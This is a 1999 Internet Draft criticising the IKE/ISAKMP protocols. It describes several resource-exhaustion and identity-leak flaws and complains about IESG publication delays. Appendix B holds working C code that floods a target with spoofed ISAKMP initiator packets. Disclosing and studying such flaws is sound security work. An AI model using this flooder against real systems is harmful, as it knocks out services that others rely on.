Network Working Group W A Simpson Internet Draft [DayDreamer] expires in six months June 1999 IKE/ISAKMP Considered Dangerous draft-simpson-danger-isakmp-01.txt Status of this Memo This document is an Internet Draft, and is in full conformance with all provisions of Section 10 of RFC2026, except that the right to produce derivative works is not granted. Internet Drafts are working documents of the Internet Engineering Task Force (IETF), its Areas, and its Working Groups. Note that other groups may also distribute working documents as Internet Drafts. Internet Drafts are draft documents valid for a maximum of six months, and may be updated, replaced, or obsoleted by other documents at any time. It is not appropriate to use Internet Drafts as reference material, or to cite them other than as "Work In Progress." The list of current Internet Drafts can be accessed at http://www.ietf.org/ietf/1id-abstracts.txt. To view the list of Internet Draft Shadow Directories, see http://www.ietf.org/shadow.html. Note that the first paragraph of this section is a meaningless bureaucratic requirement of the IESG. It is provided so as to satisfy those bureaucratic requirements, and serves no other purpose whatever. No assumption should be made that the author(s) have assented to any of it. Information as to any intellectual property rights, beyond the right to redistribute this document and make use of it for the purposes of an Internet Draft, should be sought in other parts of this document. Distribution of this memo is unlimited. Simpson expires in six months [Page i] DRAFT IKE/ISAKMP Dangerous June 1999 Copyright Notice Copyright (C) William Allen Simpson (1999). All Rights Reserved. Abstract IKE [RFC-2409] is a session-key exchange mechanism within the ISAKMP [RFC-2408] protocol framework. The combination is fraught with egregious fundamental design flaws. This document details a few of the more easily exploitable problems. Simpson expires in six months [Page ii] DRAFT IKE/ISAKMP Dangerous June 1999 1. Motivation IKE [RFC-2409] is a session-key exchange mechanism within the ISAKMP [RFC-2408] protocol framework. While those documents were developed by the United States National Security Administration (NSA) from the initial Fortezza (used in the nefarious Clipper chip) within an ASN.1 framework, observers noted a number of problems. This document details a few of the more easily exploitable problems; including severe denial of service attacks, interoperability issues, privacy information leaking, and other egregious fundamental design flaws. The author was prevented from publishing this information in the IETF, as well as publication of the more capable and robust Photuris specification [RFC-2522], until after publication of IKE/ISAKMP. It is hoped that this document will stimulate discussion. 2. Cookies While Karn and Simpson are credited (see [RFC-2408 page 12]) with the cookie (anti-clogging token) concept taken from Photuris, the IKE/ISAKMP version of cookies fails to meet the explicit requirements set forth in Photuris: "The computing resources themselves must also be protected against malicious attack or sabotage.... Because of their use of CPU- intensive operations, such as modular exponentiation, key management schemes based on public-key cryptography are vulnerable to resource clogging attacks.... These attacks are mitigated through using time-variant cookies, and the elimination of receiver state during initial exchanges of the protocol." [Photuris-01 pages 2-3] "It MUST NOT be possible for anyone other than the issuing entity to generate cookies that will be accepted by that entity. This implies that the issuing entity will use local secret information in the generation and subsequent verification of a cookie." [RFC-2522 page 19] also [Photuris-01 page 12] "The Responder secret value that affects its cookies MAY remain the same for many different Initiators. However, this secret SHOULD be changed periodically to limit the time for use of its cookies (typically each 60 seconds)." [RFC-2522 page 20] "The Responder remains stateless until a shared-secret has been Simpson expires in six months [Page 1] DRAFT IKE/ISAKMP Dangerous June 1999 created." [RFC-2522 page 3] "Otherwise, the Responder returns a Cookie_Response. Note that the Responder creates no additional state at this time." [RFC-2522 page 15] also [Photuris-01 page 12] "The [Responder] cookie is not cached per Initiator to avoid saving state during the initial Cookie Exchange." [RFC-2522 page 20] 2.1. Cookie Crumb Attack Unfortunately, ISAKMP replaces the time-variant secret of Photuris with a date and time stamp [RFC-2408 page 20], requires state in the Responder, and leaves a "cookie crumb" for every connection attempt. The cookie crumb attack is belatedly acknowledged in the specification, but is described with inadequate hand-waving: "... the anticlogging [sic] mechanism should be used in conjuction [sic] with a garbage-state collection mechanism; an attacker can still flood a server using packets with bogus IP addresses and cause state to be created." [RFC-2408 page 13]. That text demonstrates utter failure to understand the rationale for the Photuris anti-clogging mechanism design, despite several repetitions in the Photuris specification: PREVENT THE CREATION OF STATE DURING A RESOURCE CLOGGING ATTACK. All tests have shown that garbage collection is not sufficient. One common IKE/ISAKMP implementation used over 50MB of memory during a 1 minute test. Moreover, a simple program can consume 100% of the CPU, degrading performance to the extent that outgoing packets stop entirely. See Appendix B "Cookie Crumbs (Exploit)". Furthermore, the problem is not limited to "bogus IP addresses". Valid IP addresses cause the same symptoms. Surprisingly, during testing, all variants of the exploit proved successful: single source address, single source port single source address, random source port random source address, single source port random source address, random source port This fundamental design flaw is endemic, and remediation will require Simpson expires in six months [Page 2] DRAFT IKE/ISAKMP Dangerous June 1999 significant protocol changes. 2.2. Cookie Jar Attack Another significant problem is the lack of any resource limitation feature, such as is found in Photuris. In particular, an adversary can send a large number of ISAKMP proposals, collect the responses in a "cookie jar", then send a large number of key exchange messages all at once with apparently valid cookie values. The Responder is swamped by simultaneously calculating the shared- secrets and/or decrypting the nonces and/or verifying the identities. These operations are computationally expensive. Note that the adversary does not need to make any computations itself. The key exchange and nonce payloads can be properly formatted garbage. This attack is especially effective for an evesdropper in the path between a legitimate Initiator and Responder. The evesdropper can simulate an entire valid range of source addresses, making detection and avoidance of this attack very difficult. This fundamental design flaw is inherent in the specification, and remediation will require significant protocol changes. 2.3. Cookie Race Attack A more subtle problem is a race condition between the phases after the initial exchange of cookies. An evesdropper on a path between the parties can observe a valid ISAKMP proposal header from the Responder, add appropriate message fields with garbage contents, and send the bogus message to the Responder, before the next correct message arrives from the Initiator. The Responder will waste significant time calculating a shared- secret, and will not discover the substitution until later verification fails. The Initiator will never discover the substitution, as there is no requirement that the Responder send any message to signal verification failures. The Initiator will futilely retransmit. This is a serious specification error, that affects interoperability and makes conformance testing much more difficult. Simpson expires in six months [Page 3] DRAFT IKE/ISAKMP Dangerous June 1999 3. Aggressive Denial of Service The "Aggressive" mode provides far worse security than the "Main" mode of operation. Indeed, it is designed to allow more aggressive denial of service attacks. Fortunately, fewer implementations have included the aggressive mode. 3.1. Cookie Deficiency Unlike main mode, aggressive mode eliminates the cookie exchange. In the Internet threat environment, this opens the protocol to numerous failures associated with normal datagram delivery, such as re-ordered and duplicated datagrams. Resource clogging and flooding attacks are extremely easy and may be mounted from anywhere in the Internet. The Responder is swamped by simultaneously verifying the signatures and/or decrypting the nonces. These operations are computationally expensive. Note that the adversary does not need to make any computations itself. The key exchange, signature, and nonce payloads can be properly formatted garbage. This fundamental design flaw is inherent in the specification, and remediation will require removal of the aggressive mode feature. 3.2. Revealed Identities Unlike main mode, aggressive mode may not provide identity protection. The identities are exchanged before a common shared secret has been established. Such revealed identities are long-term liabilities. Compromised identities continue to be useful to an adversary until all participants have revoked the associated permissions. Identity attacks are extremely easy and may be mounted from anywhere in the Internet. Moreover, the revealed identities might be encrypted in other exchanges. This provides a ripe opportunity for cryptanalysis of those exchanges. This fundamental design flaw is inherent in the specification, and remediation will require removal of the aggressive mode feature. Simpson expires in six months [Page 4] DRAFT IKE/ISAKMP Dangerous June 1999 3.3. Futile Filters Filtering the incoming messages, based on IP Source or Initiator Identity, has been suggested for ameliorating the aggressive mode vulnerabilities. This is quite ineffective against a determined adversary. Note that filtering is not required by the specification, and cannot be depended upon as a security feature. Filtering based on IP Source is undesirable, as this would exclude mobile and DHCP users. Moreover, IP addresses have constrained ranges and are easily guessable. This is far easier than a TCP sequence number attack. Once an identity has been revealed to an evesdropper, that identity can be used from anywhere, without any more work. Using an identity seen on a mobile unit in just one place could doom the whole network behind the security firewall accessed by that mobile user (at least until new identities are generated and old ones filtered). This whole approach violates the fundamental principal set forth in Photuris: "Internet Security does not place any significance on easily forged IP Source addresses. It relies instead on proof of possession of secret knowledge: that is, a cryptographic key." [Photuris-01 page 1] Simpson expires in six months [Page 5] DRAFT IKE/ISAKMP Dangerous June 1999 4. Quick Denial of Service Although the "Quick" mode relies on the security of the "Main" mode of operation, the optional form providing forward secrecy isn't very quick, as it includes a computationally expensive exchange of new key material. Unfortunately, implementation of quick mode with forward secrecy is required. [RFC-2409 page 17] An interloper can simply record the packets and replay them later. The peer is swamped by simultaneously calculating the shared-secrets and/or decrypting the nonces and/or verifying the identities. This serious design flaw can be ameliorated by removal of the quick mode with (imperfect) forward secrecy feature. 5. More Obvious Flaws 5.1. Poor Specification A great many of the problematic specifications are due to the ISAKMP framework. This is not surprising, as the early drafts used ASN.1, and were fairly clearly ISO inspired. The observations of another ISO implementor (and security analyst) appear applicable: "The specification was so general, and left so many choices, that it was necessary to hold "implementor workshops" to agree on what subsets to build and what choices to make. The specification wasn't a specification of a protocol. Instead, it was a framework in which a protocol could be designed and implemented." [Folklore-00] The ISAKMP framework relies on a "Domain Of Interpretation" (DOI) for the actual details. 5.2. Option Overload A distinguishing characteristics of IKE/ISAKMP is the addition of new modes and options to the underlying framework. Yet, important features such as forward secrecy, identity privacy protection, and resource clogging defenses are merely optional. Scalability is never considered. Simplicity is utterly disregarded. The plethora of options severely complicates protocol implementation, and makes conformance testing much more difficult. Simpson expires in six months [Page 6] DRAFT IKE/ISAKMP Dangerous June 1999 5.3. Error (Non-)Reporting Inclusion of error notification payloads can be anywhere within various modes and phase exchanges, or in a separate "Informational Exchange", or may not be included at all. There are no specified actions to be taken when such a notification is received. "Local security policy dictates the action if an error occurs during these messages." [RFC-2408 pages 52,53,54,55,57,74]. This inadequate and inconsistent error reporting is inexcusable, especially in a security specification: "The standard should describe responses to behavior explicitly forbidden or out of the boundaries described by the specification.... "The specification should describe actions taken when a critical resource or a performance-scaling limit is exceeded. This is necessary for cases where a risk of network degradation or operational failure exists. In such cases, a consistent behavior between implementations is necessary." [RFC-2360 pages 6-7] This is a serious specification error, that affects interoperability and makes conformance testing much more difficult. 5.4. Revealing Field Sizes Another serious specification flaw may make hiding of various identifying message fields less effective. Although the "payload chaining" framework obscures the field relationships from reviewer scrutiny, it appears that only the contents of these protected fields are opaque. The size of the fields is transparent (transmitted in the clear). In particular, the lengths of user identities are revealed. Where IP addresses are used, the 4 byte length is a dead giveaway. This has the obvious benefit to an adversary. Knowing the lengths allows targetting of attacks, and eases verification of success. 5.5. Unverified Fields Many parts of the message exchanges are not authenticated. The field sizes are not always verified. Some fields are authenticated in some phases, but not in others. The ordering of fields can vary. Simpson expires in six months [Page 7] DRAFT IKE/ISAKMP Dangerous June 1999 Although the "payload chaining" framework obscures the field relationships from reviewer scrutiny, it appears that such fields are vulnerable to reflection, re-ordering and replay attacks. 5.6. Subliminal Channels Where message fields are not authenticated, an unscrupulous implementor or trojan horse implementation can transmit secret information in those fields. 6. Publication Delay Since December 1995, a number of internet-drafts related to Internet Protocol Security have been awaiting official publication. The Internet Engineering Steering Group (IESG) made the unprecedented decision to delay publication of other work in any form, until the chartered Working Group had completed the next revision of their documents. Usually, Experimental work is published prior to a Proposed Standard. This internal IESG decision was not officially announced until after a formal appeal of the years of interminable delay. See Appendix A.1. Unfortunately, any delay of the Working Group documents meant that publication of the other work would be delayed as well. This had the effect of stifling overt criticism of the documents, despite their obvious faults. Eventually, in November 1998, the revised IP Security documents were published. It took several more months before publication of other specifications was permitted, and not all of them have been allowed. See Appendix A.2 and A.3. In the meantime, vast sums of money have been wasted implementing and testing the overly complicated and poorly specified IKE/ISAKMP. Simpson expires in six months [Page 8] DRAFT IKE/ISAKMP Dangerous June 1999 A. Responses to Appeals A.1. Publication Delayed Date: Fri, 25 Jul 1997 19:16:25 -0700 To: "William Allen Simpson" From: Fred Baker Subject: Response to Appeal Cc: ietf@ietf.org This is to formally respond to your appeal to and question of the chair, regarding the delayed publication of the two internet drafts as Experimental RFCs: "ICMP Security Failures Messages", 04/30/1996, and "Internet Security Transform Enhancements", 04/30/1997, The sense of the IESG, and apparently your sense in naming them, is that both of these documents relate directly to and overlap with work being done in the IPSEC Working Group. In the IETF Plenary session in San Jose, and in various emails, the Security Area Director has stated that, regardless of the intended status of the draft, drafts that are closely related to the work currently being done in the IPSEC Working Group will not be published until the principal output of that working group has been published. This policy was propounded because some factions in that working group were telling potential customers that their approach was in fact the IETF approach, and the IESG felt that giving them an RFC number to quote would give them additional ammunition with which to confuse the marketplace. Note that, while the policy is the Security Area Director's, it was propounded with the explicit concurrence of the IESG. You also point out in your appeal that the POISED documents indicate that a document which fails to achieve Proposed Standard status may still be published as Experimental, and view our delay as violating this guidance. I believe you are mistaken; while POISED permits such a publication, POISED does not require it to be done on any given timetable, and does not preclude the IESG from an action such as it has taken in this case. The delay in publication of your documents (and others) has not precluded people from using the documents, only from marketing them to the ignorant as RFCs and therefore standards. Yes, I will agree - hastily - that anyone who is informed will know that RFCs are archival documents, and not automatically standards. However, you know as well as I that this fact is frequently lost in the translation from engineering to marketing, and in this case the marketing issue has been a Simpson expires in six months [Page 9] DRAFT IKE/ISAKMP Dangerous June 1999 serious factor. I am sorry that this delay has upset you. The IESG is not pleased with the progress of the IPSEC Working Group, which has been a difficult environment for everyone involved in it. We hope that the new chairs will be able to bring this work to closure and move the working group on to more productive efforts. A.2. Publication Granted Date: Tue, 16 Feb 1999 16:31:18 -0500 (Eastern Standard Time) From: Steve Coya To: RFC Editor cc: iesg@ietf.org, wsimpson@greendragon.com Subject: Photuris and ICMP documents The IESG has no problem with the publication of the following documents as Experimental RFCs: o The Photuris Session Key Management Protocol o Photuris Schemes and Privacy Protection o ICMP Security Failures Messages A.3. Publication Refused Date: Tue, 16 Feb 1999 17:07:50 -0500 (Eastern Standard Time) From: Steve Coya Reply-To: Steve Coya To: RFC Editor cc: iesg@ietf.org, wsimpson@greendragon.com Subject: Re: draft-simpson-ipsec-enhancement-01.txt to Experimental Greetings, The IESG consensus requests that Internet Security Transform Enhancements NOT be published as an Experimental RFC as this document adds sequence numbers to the old and obsolete AH and ESP transforms. In the case of ESP, it does so in an incompatible way. Publication of these documents could easily confuse implementors of IPSEC. The IESG will reconsider publication if this document is updated as needed and resubmitted. Simpson expires in six months [Page 10] DRAFT IKE/ISAKMP Dangerous June 1999 B. Cookie Crumbs (Exploit) #include #include #include #include #include #include #include #include #include #include #include #define USE_IP_SOURCE "10.10.10.10" #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define PADDING 72 /* first isakmp message length */ #define MAGIC 0x3 #define COUNT 0x1 void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_cookies(int, u_long, u_long, u_short, u_short, u_short); /* Initiator Packet for ISAKMP Main Mode */ char isakmppacket[PADDING] = { 0x95, 0xfe, 0x04, 0x54, 0xa9, 0x11, 0xba, 0xe7, 0, 0, 0, 0, 0, 0, 0, 0, 0x01, 0x10, 0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0x48, 0, 0, 0, 0x2c, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0x20, 1, 1, 0, 1, 0, 0, 0, 0x18, 1, 1, 0, 0, 0x80, 1, 0, 1, 0x80, 2, 0, 1, 0x80, 3, 0, 1, 0x80, 4, 0, 1 }; Simpson expires in six months [Page 11] DRAFT IKE/ISAKMP Dangerous June 1999 int main(int argc, char **argv) { int one = 1, i, rip_sock, x=1, id=1; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 2) { usage(argv[0]); } if (!(dst_ip = name_resolve(argv[1]))) { exit(1); } dst_prt = 5000; for (;;) { #ifdef USE_IP_SOURCE src_ip = inet_addr(USE_IP_SOURCE); #else src_ip = ((arc4random() & 0xdfff) << 16) + arc4random(); #endif src_prt = arc4random(); send_cookies(rip_sock, src_ip, dst_ip, src_prt, dst_prt, id++); } return (0); } /* * Send ISAKMP initiator Main Mode packet. */ void send_cookies(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_short id) { u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ u_int32_t cookiehalf; Simpson expires in six months [Page 12] DRAFT IKE/ISAKMP Dangerous June 1999 sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(id); /* IP id */ p_ptr += 2; /* *((u_short *)p_ptr) |= FIX(IP_MF); */ /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 247; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(PADDING + 8); /* Length */ p_ptr += 4; cookiehalf = arc4random(); bcopy(&cookiehalf, isakmppacket, 4); cookiehalf = arc4random(); bcopy(&cookiehalf, isakmppacket + 4, 4); bcopy(isakmppacket, p_ptr, PADDING); if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); Simpson expires in six months [Page 13] DRAFT IKE/ISAKMP Dangerous June 1999 } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s dst_ip\n", name); exit(0); } Security Considerations Any site that has deployed IKE/ISAKMP SHOULD revert to manual keying (or to Photuris where available). The egregious flaws discussed were observed by experienced network protocol designers with an interest in cryptography, rather than by cryptographers with an interest in network protocols. It is anticipated that the design will be more thoroughly analysed in subsequent papers. Simpson expires in six months [Page 14] DRAFT IKE/ISAKMP Dangerous June 1999 Acknowledgements A number of folks have contributed anonymously to this document. This incorporates many private discussions that occurred during 1996-1998. References [Folklore-00] Perlman, R., "Folklore of Protocol Design", draft-iab- perlman-folklore-00.txt, Work In Progress, January 1998. [Photuris-01] Karn, P., and Simpson, W., "The Photuris Session Key Management Protocol", draft-karn-photuris-01.txt, Work In Progress, March 1995. [RFC-2360] Scott, G., Editor, "Guide for Internet Standards Writers", BCP 22, (US) Defense Information Systems Agency, June 1998. [RFC-2408] [RFC-2409] [RFC-2522] Karn, P., and Simpson, W., "Photuris: Session-Key Management Protocol", March 1999. [Schneier95] Schneier, B., "Applied Cryptography Second Edition", John Wiley & Sons, New York, NY, 1995. ISBN 0-471-12845-7. Simpson expires in six months [Page 15] DRAFT IKE/ISAKMP Dangerous June 1999 Contacts Comments about this document should be discussed on the ietf@ietf.org mailing list. Questions about this document can also be directed to: William Allen Simpson DayDreamer Computer Systems Consulting Services 1384 Fontaine Madison Heights, Michigan 48071 wsimpson@UMich.edu wsimpson@GreenDragon.com (preferred) Full Copyright Statement Copyright (C) William Allen Simpson (1999). All Rights Reserved. This document and translations of it may be copied and furnished to others, and derivative works that comment on or otherwise explain it or assist in its implementation may be prepared, copied, published and distributed, in whole or in part, without restriction of any kind, provided that the above copyright notice and this paragraph are included on all such copies and derivative works. However, this document itself may not be modified in any way, except as required to translate it into languages other than English. This document and the information contained herein is provided on an "AS IS" basis and the author(s) DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING (BUT NOT LIMITED TO) ANY WARRANTY THAT THE USE OF THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Simpson expires in six months [Page 16]